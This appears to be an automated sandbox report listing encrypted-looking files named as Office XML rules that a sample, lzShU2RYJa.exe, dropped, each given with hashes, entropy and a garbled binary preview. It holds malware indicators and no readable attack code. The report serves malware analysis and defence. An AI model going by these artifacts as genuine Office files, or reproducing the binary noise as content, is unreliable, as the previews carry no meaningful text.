SHA-512:	CF5456C5E200ABB56D90583241B2417414AE165CD6B2DBE8200A7A85BD0334F8C59C170870D59F26BCC1F72685478D0E1C964557D1BBECCBBF01D3AEAD780C64
Malicious:	false
Preview:	<?xmlE..3...C.Y[...v......>.....j..r...O...N..Id.........s.2.@.>.K.....0\|.._PCrDf..^7......Q....r.+..o....x.(c....r...B.UJ9....X...4.J .R..s.........~../......&.7U..N4d_Kh..s.~.P...r..U<.... .p....X"..u&..{4....~K...i6....?P...u.i.....OV.k.w.p.6....J8/t.A :..-x.1.;......n>.N...z>.g..D{.z.]...Fv..,!.....\..#D.. .....1E..-<c..(....5...U.x..X9..,.m...`..(Q.5...Bp...x.R.I.......k.ke.9)....8.R.\|..}0...i.;..B..xu.+.S.>Q..T..%C.S.s.\.bq....6I...H..I...KCk...7....~]\|....S.SrD.eWZ.;.u.."=U..x...5....m....Az..j.....V...~^....z..1(..c..K..@...`...(l..F....Xe..S.q.z........9......o.H...J...!r.........M.U...+...W/}.1....xZ..S\|n.....R.....}...O...j1.d)...eR&R:.y.\.&Z.K.59..)...{.KH8....C.7....~.2.=R..cC.>.."(.V.w.. y.2.v..P......_.].Ee<..($......^~a................J.v\|.dy.~.'Q.8.g{\|U\.G1.P..)...f....'Ls...W.~.K..l..<...+......1....dP+..;3~...z..U~..H%..;........R}..)e.....{.bgaU...P...kR.Alz.....3....F......2.Ds..W<.q.1.^,.\....Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.937606192661692
Encrypted:	false
SSDEEP:	48:n7uVdmN8KFEgPiudI7qjm7gWuTe5I4fF05VeUSQmX9O3JnbwvgDLBev0hYAZeanV:n7cFAqZuC7+e5I4d0CPQmQxdxhNZeCe4
MD5:	60CA7EC03AC1E91D7F6D9D3542846EB3
SHA1:	EB3C21B19A8A63083590C3339970A7DCA18A494E
SHA-256:	68BA8ADF51FE61415BEA618549C31706D39F8BDA5AC196DD3FAF3B97F145FB86
SHA-512:	90C37B5FF36BED2467FB89461129866FE15B268406FDBA997D93DFCD802464F83333477D59C8D3BF960F648B42785E98181B496FC4F2D938AACC776E105C020F
Malicious:	false
Preview:	<?xml.w\|z.......P..y.....rl......a..\|\l....qr7].....n....d.}.v.z..l7s..$Q.E#X.Q.gSY.C..{...zO$e....&......AE@......T0E(....w...g'...3..g.<.,.I..#..M..`.&.V8...3...O.v...M..T.......D.J.J.=E.../.....D46.)oJ.d...m7.Q,..`.M.;...H.n...L.1..g..{.5.M[j.f4O>w....h.z.kWGj........D...\a........b.5.N.#q.A.Sw.F...#.XJ..73.0 L?.;!C.#.(q>.>5.....S9..9VF...S.,.B&.....h.]^.".......z@.g.X_.%b'.v......3O.........n..".....%..)V$Ee.......mz..IVt.>..5....=.`i.ED..@..O.....ql ...J3.Yt...........z.....cJ.Eo:Z.:i!.\|l.......x~.p.W..8..Sy.!..:D+M./q....@.7..?..6.o.m..v.T W....A. .:aw+1.%PA......W."..x.F......f..P#-.....;.5V}g"`.H.a.C?@9.:..V.`....FT.oK.f.....p....7.a..........&...i..Fz...../..3..x.l..351h..w......>...>ui...sg..M....ij..@X..&..:..t.\.u...9Q.Q. ..\.a..*..>...1.v..Ob..........>lh.w.r_....W..s....&.nT7...:....`T.9.......oWI3pb...CV.Mj.+.>B.."&..k..weq.m...I(.X.]P..^.&L..)...Q.'.WW....`K..&...Yw.6.....K.]......D\|7')n.S<JdF....N.\|,J..va^..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8623429458683205
Encrypted:	false
SSDEEP:	48:m2cTJoInu4uBaTBRKjC/3WXOKsESXcgFD:PcTTnqaTB0BN49
MD5:	C605B69C2774BE38205EFE220D01B0DB
SHA1:	3D797316251BB21746595CB0ACD85308059B286C
SHA-256:	849B674B1848186F43E93DC423F4E6ADBDE98AE89915D5A3B747546022E9B578
SHA-512:	4A29BFFE1C53B5B62769B9AF3C5D658438E629FA314B3E3CC196CC701FA235347AA4DF40F2AD21A4822FF80D909FC96A1098DC6BF640A8AD0ADBEB7ED62632F6
Malicious:	false
Preview:	<?xmlz"..W>[.V......S+.S}G.3.#..o.`..wNe....z.....Z..P0.e.Zs.I3....P0...{..}5...C.S.~c5i]..vfe0A.=.Wi...A......9.=....J..T//.v%.........?.D.0..12..0....j.oKW...zg.}..ms.C.n1A....7..M...&.,x.;._.b@...J.PV.}$d..."bJ...L..B.q..M.$y..[.....m..Q....G`0....)2: .. ..F.Y6_.$...........v.7@.dMZw.....)c..~..cF....<..j.b.E..jG...E<>.W.s.w.ITT;2ib24.)p/...2j..:..%..B..np..u.sGU.7.-..k....G.z....-L.:..J.'n..+lm6J .tK....T.\8..R9.B.....g..5.7....l....N.V#5h...>{]V.....\.8Heo.}..]..). zO35.......&.....z.T..K.W...C..Z....(d..w.m......P.nx..2.....4..o..2...jV....z.\|5..Pg~...s,o.0m.\|Y...x..^i.{.s..)...+......N...T.t...u..PtY...>..hz......d=0...-6.H</...4...T....<..(...&.....y..y?5.U...yD\...=p.;...=.u......r..k.K:..5k9..Z..A.9....".R.D.....k..4O.........j.;...yt..$.2.N9...4"....L......a.=....d.HC..\|.^].!.r).t)..P..)8x..1.V...rW.(...N.M.P.x6..U1.IB.l..n-....^......^.....zb4.bR..^./#...WK.4..M...6J.....<%..U.0..P.3]7.....,....`.j.....b.t}..diG.;h...DG..u9$x...'.x.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.92215128737909
Encrypted:	false
SSDEEP:	48:gVSGY2qqeQjO9Dpe1jKDVrIjikgWcXSbxY6S6X74BVFD:gVSGY29jO6gDVroYRSNwV9
MD5:	E594B79C1BAFAB9C6FEFC4F1594D2E35
SHA1:	988534D53E53BA4D75D4360DE35ECD7798E9539D
SHA-256:	ADF2C5A23246807E761C8403C7BF8BD7A6DECD3DF247F4912B836CADDA44743A
SHA-512:	983E0B13784B0382EF13F0C8DDF43496E86B792847C34A96064C1CE6E268E446EECFADE1BD3791963CAB3D95C03D8A82937B696A205F1B5B935F9351F66B7CAD
Malicious:	false
Preview:	<?xml.9..\.V.W.. 5.......]....'..+....e../.\|.....D..l.E.VK{Wn..'.._.c:X[.0..PN....._`?.K.....-F?.\b.0..).....B...Np....N...U..',.(.4.^Q........h..=...[....5..3.....Ag............{..U.%...C..-.sfO....f.,...;....zL?....U(.."....qa\|.Z.U.%'..e.V`..]...!.j4....[..V..a%..x.@/.....h...H.O...X.;......C.N...u...3..U..WT..Q.Rf...jv?...t.?g....io.E...&.B.a..;..x:......~..b.s..o9(.{...q..e.T.rb..\..ZI.6.....G)Z.22.e..h.!j...v.\|...\..../...Ka...x....#...}....n.Lf..F.A.r.W..).'...fUn..:?....u...Gk....mn.a.T.N.........l..n".TE5w.......H..o.B.o.. j.i...Ru.@!.U.]M}R....A.@vA..D=r.1..g.!h....s..<!R{...a2.+..m...^.L.:.FA.....=.O[..k...0.x....c1....Zk8..~`..Q.^.[9..I...}..\.D.'..l.#S.E/.%..D:$...<.jt.....yBG.%.is...O.h..a.l.t...P.m01.1....h..z..\...WB.t.+.^....&...j.y....}.j-...,T.......7.t..T.J<......H...f...Z...I...T.....h...E\|"..^+...i....6l.....H.p=.2...G2.3>{...Z....#..5L.Vx..~...`~V&.6."\..~'B.M..u.F a...x..Aa...X.1J..+.N.#.gK..^..G).JK.[G....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.701353342642712
Encrypted:	false
SSDEEP:	24:2dSOHXK6heAE6hJvZHaGQZbsS4CyJRhf3slHkVbD:JO3jUAEKvZH42JTf3sGFD
MD5:	23F2271ADFCAB2C5894BEFEA62F930E6
SHA1:	D7F548C1BDF673C782827FE7CC3FC26ACE36A0AF
SHA-256:	0E47BFB78252B8A3C5C49D6A187335B4CBDED801773C2C77752A2C43395DA4CB
SHA-512:	38581788D32B831E15BCCEE5E60AFC1BE8E8D901080A2044754E61A965BF01FD9576E659ECB18B502C631B762BBFE91CA5B266B54C23B6AF6D6202C2C356864F
Malicious:	false
Preview:	<?xml.'5..<S.8t.}*...L.b...O.. .Q.e....U_x)..H+....6....tX.<....v7.........2.'....m.N.i...3u.......M...na..._B.-....p.ou...8......2.5...b....d$H.g..h.H..uw.......\....QB.b...\D...... m.{.....j&..GK.D9...a...^.nU..8.^)....T......h...B:..1.:C.Q.....c.Fe6.y.2...............P#..9a.-`-..B"..3.0)..S-c....p'v.u..s..6:i.'.yUD.bL.A.9....P&.....\........p.q....A...M......A.c7{...%m.....b..2A$.G......!..p.'@k..\|.Y.m.....R.G..a.+.~.X..u..2@4.&.zfC>.LH.../ .H....B......%...{q.p....8,}..)d[..B(1...1.)e]7y `"....>.{).J.\wW)..F...y...D.A..:.00....O..B..XR..1...Y.>..T...y........~.0tx%..........tY....55.;...."....KD.4.Uk...g....V.b.3Nq.r..9LJ...)X...#g...:.&2...NJ..f.........i..1R...0n....X9.A.F5..ZX7.:.Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.912506993611105
Encrypted:	false
SSDEEP:	48:u7I5DmC8n6M/YgekX3H+HCW+pa763aR3Dsw9WQS8LFFD:hbs3xX3Iea7iK9WF+F9
MD5:	76F6D5388E289B4C4F50FCB9EE3E4B6D
SHA1:	2BE7AF2B0108A9FEBC22D35897A2C8AC30EFAC54
SHA-256:	349095B5E964326F92E028F7175E6BE10381EBE840DE997D88531D88ACF8B3D7
SHA-512:	0E85B787709702462A8C25A2E5E742CEE468933B43C5301FBB322EEE3E35639517D6822BDA572746C700DA893E3B60694F5113F006053AA1E551F4ECB0546C37
Malicious:	false
Preview:	<?xml..!....).5.A....^.#.....r....f.4.4..dT.5W.e..(..L...d.Ha........(.xk...".J....:...M.rt.W...z..P.}.F....?...7.sd...@F..>=.N...:pf......+z&&.s.R<.....'?...(..`>.....j..DH=.DQM.m.cDU.................#.4..h....[..Q.T.....n%....(.7.y.`.A.........C"o...5\|P-._.. * C.../&6.n18.Q....`.....{f#.C.MD..]i.. '5<.....0...M4[....CQ.}nl.&.........sLv......g.P\|...bV.F9.....F..}.$A/(at.B& ....Lw..]i..^..t6x.!.A.p}...F",..;.$V[...Yc.R.J{...m86].kH..C..G.:...>y#.N##..d.s....p.H.1._...^.#....3n .1..ro..r..(..../..( ....m .ZZl.coKW.c..54S...........+..k....p.`ou\\|..%....&}..........vC.:...S...ld#0, ...>...>j..A+....}..b;..n,..LN...`...Z..1.?.#5...i.1....#P.}.9...D....p.........q..(.:...Q.\.tJ..k.....@...Sfp`.1p..oD....".y`.....k....j0j.........\|..1....=p....(6J@.q.T,..V.k.l.}.b........0..)...W[.8.<..>_.....hjEpHf..{.K..hV...?.E.E.#.o...q.\..\.:"F......:&U".B.....S=..H..%.th...]..0^u3.q]..2.....Z,Qv...C:.~..$M.8A..x..QW.......g...&~..?...Z..h.Z...@Z..j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.723851082436256
Encrypted:	false
SSDEEP:	24:Nz4qOK/V/Tu3c44+Uuzx6p8j20dtLyaFtviVbD:x4444+UuVl2056FD
MD5:	2744AE50843412CD219489F1ACC9C463
SHA1:	51CA9A4A1F4FC6EC567FEDA1E71DAC524B69D035
SHA-256:	BCEADD4E238FC0F15DB3C7EFEBA4D6FF52E943A487A3599A454E3CBA9A02FE32
SHA-512:	923E0E9EDF1F016CD7F71D5BCD9622358C73E5CE330599CC350E18895BCC9792E7EC405D413D049884D78FDB2281095D9C1213F487D99CBA3FDDB3153CFD8B85
Malicious:	false
Preview:	<?xml).b.DH..I..).2.v.lm..G.Tv....$z.lMJ..+B.i..AX..g19.....M..l8`.H....B...4...S\|Xx^.$....O..u......c$....-...+.....=^ID..'..'...f.....bG..r!...r.[...!..D....v.......;.e.W...}%./+...o...=H.X....huDp....E\|..4..".p0.........@I.+...6EW.L......:.Z......Kq..F8.3K..]....P9...Z(.&'..*4.l.n.KO.m.L...~.&.....g:y.Z;uA.........cG;.KfXA.5...\.$......b.Cf..O.?..E..s.'.jP....$..S....0.@.......b..Z.bW..8Uu..:k..3._...,...K..Vc...(w. .ni..jjl1..+.!..i..G`..>........?.e.V...G...;X......s..2...{Z.+e..W..j..Hw.t.B..%S"#.+....Y..36..h....m../..-...c.d...{.]C..>.....(..$g.S.......dm.k....:..H.....X<aD.I..~..;J.[....b.p.5E.k.......~.tHS..r...]i...5.8......0..$.q..,./&T&..E.7?y....+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.934964909751196
Encrypted:	false
SSDEEP:	48:AEr3yS7RELT2c26GcAuibROtIpvTSmZ84e4vdJoqHDfEUbXQJ1yYHvdBAJylhK2a:XySQT/26quibRokv+6M4vdJTjnTMvLpc
MD5:	4E43F787DF20C53B5149B106617F85CB
SHA1:	5CF74F3DEFCFADCDC1A90CE1B9E60F8CD35A844D
SHA-256:	2EA9F683F8266BE69D42D77C15A63A585B32F20410FA1D75B48188A9AFB5B902
SHA-512:	3295E3E6551F786F33A768055126E6FA913D826AE9DBE028A036097A04F376B93C3D6714C076398327861A2C6C7CCA3970866D0E83905E4996B78B3451D8283B
Malicious:	false
Preview:	<?xml}.....=...R.k..P..)f.x.\|....q...d......r.d.O.... y.)B.....#9@Zv...._..T.d.>.T.Q..X>R.\|.Dj3Y.2..^i..[.....s.qoi..%Y.h. ..G.l..s..e..`....{....).q.Q...=.0.VT#...C.......z.-a. .a.R..H[.u....v..#..}..D.2Y%.REZFF.}..F.=;H...EF...S.wd.e.......b..=....+...i...w...?..y...hW..../Xx.....XB._....RNp.e...\|..v..n...7...nE.1.9I$.J...j....6'9:.....q...Yj.\|....b..'.}Yg...Z...{......."...M...duJ...'`.r.= .~..uF...P.I.........F....R`.+..2..C..C.9@k....Z.'...(..4..L...c..HF..J^....7......n.Kj..:.^...4....^.43w0.\q..F....C.GA1f...<+.Pv...U.s.1Bbu..k...O............}....I...s..H......9..K.?$..=..s^.[L+.H@`9.G...O..#....<..L.....m....v..bh...?..j..&......."...f.E...Q...k.E...bIL...^Q(d@J6.....WAcX.s.E.}..>..`.7s9[)_..-......@.1t.n^9z.2@q.....^n..e.Xn+....ox-.o....V./...Q.{I.....t...J6..H...t.$&..zdr..z...._.;.H...f....B..>A7..5. .....5..i.4$..........D...D.R..X.d..Cp.r..x..J-.$.-4.@.j.....X......Ezq.o.{ajt....9?T.-]...+..u.PFn.._......d.C.(Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933870819016591
Encrypted:	false
SSDEEP:	48:WHkRsybViaEBku9S2Y0EW47xsC/nhlpE5Qn+a7vacBgQL03bbIy5QFD:WHk6miaEBTw2Y0EWm/nDq5Qn+ara4ALS
MD5:	398741D20D5EBCCFA19FD69AA63FE733
SHA1:	2FAA8C511FB5C2B73F9B7324B2DC7212B13CFD7A
SHA-256:	6A4FA57B8C1B332821C5F6F3A58485C7494B1C72397B8B8443CAE49DAADED071
SHA-512:	5C9BE75A9E5060637AFF7CA2D7293CC5E3EFCD8876238A912E079C0BBF3F85641FA61DE5BD5B8D8A235B4148946422BE1A29E749FC955E6D047D12E467192184
Malicious:	false
Preview:	<?xml.....o0...j.3..9...5%.c..._.i.q..-D.1.e..-3.'.)..._.Zc)g...O.?..cY......Sp..SO+q.t.3.b..k...1d?C..."....0.aRH..?...1.p..8.I.[8..;....3......b}n...`..2..~NA....^..B=..Q.O.F....c.....:...).'}........S..7...9. Eg......V._.R.t.......'..t.....8.$/..K.........H.'........*....L...{$....Y..'...+.....B'.A.....Y....c.Z.I.,c..BZ..a5......B.\|..i..x.n~.._KNR..h.0....../.R.M.1~gA..O/.1.....`.g.......9&.f...5X.t<..:4...H..+.<.pg.\|..;a7....Y........iY..~pN...4`m-D0.(S....f..x..}..=N......T.}.~..=.~>...R+G..rM.Kcv.............\|^.Q...2X...C..T...f.).#...~..k..B.Q.\|M...}..._I......^.#.cf.....Ih. ..)\|:kZT.2....pM.\|qy..d......a..?c..V3^........!.W.....n....7j.l..j.6e.G.P......jO..c..ZD..JU\..+...R...q.6E..]..,.V............=vd.J..P.~..........{.-...W..v.M.^.y.i:...7.V.?..r\....fpI.q..Zp.....wb.G...P.I....x.6.7.8w..1.k.~.j....I.....w\..;..}.....L....qe9&.b.iTE.3.s....R.W_...F.HX......8Gk.B<..x...O..."@4.E'\.g.F{...+.-.{..-.M.3.;.._.<...c.\|..s..p.+.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.961087691608984
Encrypted:	false
SSDEEP:	96:HR5YuAKNkHGgA5iJdH0HzVM2FQ3qyXQmYq4J68dCYDQsTGVDaYXz9:HPYuAKvwdUHzVM2qvXQVjJ1unZ
MD5:	60A76537CF48CD7F1F191CEC1606DC2E
SHA1:	9123A8D4BC77FE1BEC88C2E0A1B8C1B88175DE2B
SHA-256:	64AF485CF9BFF4F8A9B0D9FE2B5798B03326C3AC01CD8418B5A5F06C5E8C4A9F
SHA-512:	6E9E5162EA285D1DEC7DF1E042006EC07AE32BBA1F5192D9C921892ED271F96BA64A89C94A538FCD846E718022D148B2482CB0AA72512AE06C340A99855C9F28
Malicious:	false
Preview:	<?xml.sf..{F...x.X.\;..1#..^HKCp~$...K......V.v...;}....a..[.D.3Dt.Po..]x....N.US0....7.z..^..(tM../....&O..1..p...$..y...,$..z....Gd#....\..s.........N....>..AY.Q......oFl...I.=<..W..........RM(....d.^b..TK2A.;...._.;2..{...`?.[.....RO....X....6h^.&.bI/J.....&..#.D2.sZ;S...s..8__.z.W..Y...e;..w..M..\.~.."V.kl_..id..!..n@.1(im.Us0r8.C&.M........c.....(zl....<....a..w.&.s...s.AUNVK.........+...j.D...z.j.......?'.c.....%]..1.N.+.R.3&...#..P+.4=..D...U._G.5L...e\|o...O...,....uo.r.;..Rb.O..[.....).0.k.e.....@..m.B..H.....t.[....e"...q...j.X.L$...n.2../JB...y..*.....K..J..!..'.P$.oU......x...w./H,....@.;..}.4W/7.U.Jy.R...E...,.dKSj..f.x....%.-..n..b...HX..`q........f.....K1...h.W.j..%.f.....Ri..gLYcEe&.Nfwr.g..m....y..3...t.x.R3...9...l...I.N.,c%.,..3..B...<RO....O.c+.Z.E.O......D.h...%m.;.Z.......U)..)....T...@EIIgU.k(D.4{.<..it...M.T....)......3~..x.e.p..Y...R....g.{..,...P....-..K8..8.P.>j@.`.g(.d...GKzyj<.{..]....Y..~.s..Z.X...^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.811541235473558
Encrypted:	false
SSDEEP:	24:6vfounb9nYrpjPRquFuriRXv8dAroq0HcxiO6No0UHk/4EyIMBGVbD:coWbVwpJUrEXkKLfivoVEdmGFD
MD5:	E62C99D3E65C2622126C09F041993735
SHA1:	DA5139118520C987732DFBD68E4C0652E619A3BF
SHA-256:	A4C611AAA8E9EF95E183EB6B964FB8DEBF17F35C65C9186EAA786B09400F61D0
SHA-512:	93AC0A9DBBB5767E768FCBFBCE1A13A5003A1F015B8B4BC5D4B81E9267189E1806E86F36D910C2FF75F880EAFE82D5E03FE255F469A6E2247F64766075900CE9
Malicious:	false
Preview:	<?xmlc.c=.u. .fqG....[...4........D..DF.a`.lX....E=@.BA....5..<..K..[n.#...(U8._g....5.........O..{t#..=........r.^...V].nn3V.0]..q\z...u.,.?E.pl[(c.z.8....p.@..?......l.\.o........3...X-..k..@.u....M]j.=.@._....[8...XR.\|.K...1.F....Ub..Y....ok.....iFP..{O ....H..q..].=.c...^.\|B..$..L....F..c..P...T..^..p..m............=..F......8.w[.......FIQ....S..-8..o1.......O. ..~..z....E@{.K....U.TW..R......E.6\|..B.67...k......}\|..]..8.29.R..i....{.>...7....{....C-u..9l.$.=kR.W0....[......_.....W..Y;]-Q=..X...!q.V$.o.6......b..........@...:.........C..6..[.....k6w^.v.W.....E..,?rI..FpI4U.+...~........bIx.i&.sxd...%.8? n.}..;c.s@..n.G}....._.E......l<....Zc.e...h.....u...b...X..y....!....{..s.3L....4;b...C[M._..&..C......Z..(.....].Eq5l.a.E.S7K.&.T6>=......\.iKt.{....Cu.....@..Y...A....@=[..V.......\|]........=.h&..#..\|..a.t+1.9."=...)..uu.B...U.y.....MR. ..$R.%...M....2.c..L.?.....A.^...i.x...}}B;.....#.a.&jT....Q.).ta.s.=R.._..w\|_e.......&d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.827721673926194
Encrypted:	false
SSDEEP:	24:+3Un7GF2Ee1Nf9+yfmqzRSsf0yowz2I9js0CIUo8TxbzzCETSHbWSZvLPPIrxV9R:+qCFQf95zdCuXW0CLrbCESjzM7rFD
MD5:	2DB92EF498DE2B876252FB10F556BEF1
SHA1:	018C03E6CB966DE0F82C390C10E5F317C9830568
SHA-256:	39C7F62488E8C52E3AD89DA47E90194B307680A90294ECAE3D6CFDA86607F6B4
SHA-512:	D6ED93252EE84A77B50E1C88FCEC11E2313F0FA486AAB41DE7D569AE3898DD779D70DB027D94D62AC5214B0C43A89D8CD4778E07D950D5B3DFE6092F64EEF96E
Malicious:	false
Preview:	<?xml.~W...J.M.6a..C4.....].[t.a%....c.#...`....S.1.v.#5.R..}...).9.....G...r.....{...k...."%...,../.7+..eH..}jS..y.u....fI^{o.Q.>6!OK..7Q.+33u0?...jC....X....t..K2..P..U...`g....%.YHj.1.{....e..u...1.s>x.?....[.fm.\+?....w...!.d...L+:C!....ni..9x.`.A.p.h...Dd..O..lJ.r.8.>X.......6.1..........u%....W.!W......P..O7...n..Z.P%...V...?...~.EaQ..16..a.!.....o.`..W.`...\D.5..X.@Q.4.e....j...>[.......=..X.G..W..)7..b......a.A..p...d..!7.pV.f5...f~.Cm-%....!-.^..+.g.Z.;....[..i...^...........y.D.r'.q).....,.<..(.]g3i.e./..u...n..%l..B.0......vsn..........^p'....,.=....pWs.H1+.....z/...9....xn....t.AE.8..E.....4?...C....6.!x...JHSKnf...d!e..#.......b"M,...;.N.5l.d.em).}...O..Ve.s.8.a...\|..7a...&.z...j.....3#:.\|.(.b.......\6.?m`..h...:.l..e..t.^..6....h.J.@.!.a.;....B.-z......,.I...xS.E..hQ4.-.....({..F.Ba&.g&l[..:.....Q..k.*GVi:...Cx`...~x..=..RA.n...$X..\_.7...ATUA......m(...(.mc......:......$...c.n.<..L.6..Ex3...82.\]B.......fP.v......9....x..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.799176495435468
Encrypted:	false
SSDEEP:	24:wEERvYUO2TnH/9tJCqnwMbdYOixNmzziQFKcM2lEVbD:kRpPfbJxRyOuco4EFD
MD5:	94D3494031A9A63846CFCF818D8BDB0A
SHA1:	4A43662EB46FEA4CEF4E44C870FEA0C3B80CD3C3
SHA-256:	41ACA3AC2F1CD1CC864AA6F597C3CF709E8295307D1EC932FC7F09631E5E917C
SHA-512:	DE16FEE838DD9EB9A85C817CC6BB5F555123C68D4B6A2D54C7A9461E5C432629A7C46A1B2C439074917E7351839335B8BFB47741E1A2E89F85DCCDE1F27C76D4
Malicious:	false
Preview:	<?xml..>..<@...'xo2.XR5.....a}.7j.B.!.].v.j....D..[N.....=.5\|7.......E....(.-...Y4.{...VH.A......w...]..&.c.}..:".r.p.......$.....l`.<..'Z.D.17.e@.M.."..@...n....T...fK...Z..5.B.....1...N....g...F.!.(..lUc...P..G......n}'{.V.di..e..a.... .u.].~...g.YC..+$....J+)Q.P@r.1..m...d.^......g...$...Da..#j..Y.$.ZhN.d..GY:d..z\..Y3I.m......C.$..+;P..uf.5.k..0...W...I...;:...C..../.W.'.p...?O+.....N.d?6..C.\|..7&....e...U..X..s.l....H}x...`..Z.@.a..$@...=..\|.,(.....c)../Z.S..}<'..L4S.z\|.#.-..98.Ui..u......1.].t...D.A..-.k0..%....__e...Q....y.'.L?.w...L...Y.....0ky.0/i(COP. .....x.?...,..+... ...8...H."...m.....c.8...l..M8?...........X(0....j...}.x....XXa...../.....&Q..L;.J.....4B2:..6C.o..7....0A.......;8r$..#\|C.W."..D......`TD/2.(.oVN.............(l.,p.md..0..A$m......`r..-.4(Ey.6.R.x..z...N..`?..^...m.)_...6..F\|!u....D8.&r...z.....I)..vjU.$.k.LPL...V.##.0.A.Y...')U..8le..J,..E..R.H.A(ZP.[....@tz......E#...R9.P[U^......=.).k...TTv...?z..6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.97910852958522
Encrypted:	false
SSDEEP:	192:mwBjvOvKda+C+BYOcrhuDvgNzQVxJRAsOh2do+B9Q:mcjvOvKh7BYBhQvgNzQV+Ln+/Q
MD5:	A1C09432FD714A7F481F4E75A38ED356
SHA1:	B3EB8CA911801FCBADCE0E15AF2950337DB19BE2
SHA-256:	50FCD71208E1EA477CE32B27653441DC4FF0A1AA0417329BB5A5E105C63D5C69
SHA-512:	AAA7EA9C58270BB7ADEE43064E64CA1299A7F28CAE675B53A8B0E05724A0FDC1FB7454B022B923D2BD94B31B9B5A1B56056E6D10DCBCAC72D7A3D201CD80541B
Malicious:	false
Preview:	<?xml...3...,-.`h.......B..5...)=..#...8....$u?..bL.H...@............4.....$ox.R....l..).E.q..(.p.n.......O..H..Q9Mw......@.6..x..bK..8P...8.Y..2....(.D...$Hj...!...$s.e..#5.B.2...L..w....IK..f.5U..w.....6L...3'.SD..c...M.....%v(.e..6N.WZ.D..q.}.dn[.:..$..D..b.~..i.y2.3F.S...%..$..y..<........g....;_}y...dVg.....u~.~(.$.6..t.....8..%1....j.....u....I.F\|.fsb.S....6c.....w.H.\|...S..............S.28....{..H.../j..."....z~TK..d.6i..'..H.^.1....B1...}.YH...9..M./..a...j\._..=#adY.......h..'.`..2L.F<... ....".W.Q..#l.hwuH.V.}...].c.....n.^.E.. ..-....R.isK.R'.t..`.....S..\....}..+..9....N.<......_U5y...fb..b.)......&.1...@.O..(.......J.g...,]E..8...I;..B.Hxj......d.....j.FO(.e.pk..l.$..hD..L..0.[......fI.l.........>.iS...&...Rk.....v...vm.i<..........AS\.%..]G..V_..5Z..b"pw.h..5./.......cyf................l..1.].*ig^!..).d...L. ...l.0......{...tL~.6..U.O'cU...:...,..cB.E..J.5.i.K.h....220d.~...w^......~.....5jBi,:.a.i...H..(:~Kh..j..._.c.wO...P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9738680561753466
Encrypted:	false
SSDEEP:	96:+VZFQpuvM9qZLSaUoqU7YXy5USrMIW5jPC2cNW9CgKGn02mKMUwEyh9uSl1WAgUy:+JQEE9q9UPU8i585Tz92v5/HkbVxQX+
MD5:	487ACDAFD720E1B8581153F4B8CB1600
SHA1:	D02F40CCC210B115F804870AC0B47C98A03319CB
SHA-256:	F5E5F34B6115CCB811761BE715141ED10B00E3ED55E39D2CED7D87452EFE1A6B
SHA-512:	79F88CFC9229360369771BD7F191FC3715B5230CD07148935F48A2C317A25D1F7F8A16E1A3B7511899E52E48778ABD0F3CFE165D27D470B23E0F623B8D8EF35C
Malicious:	false
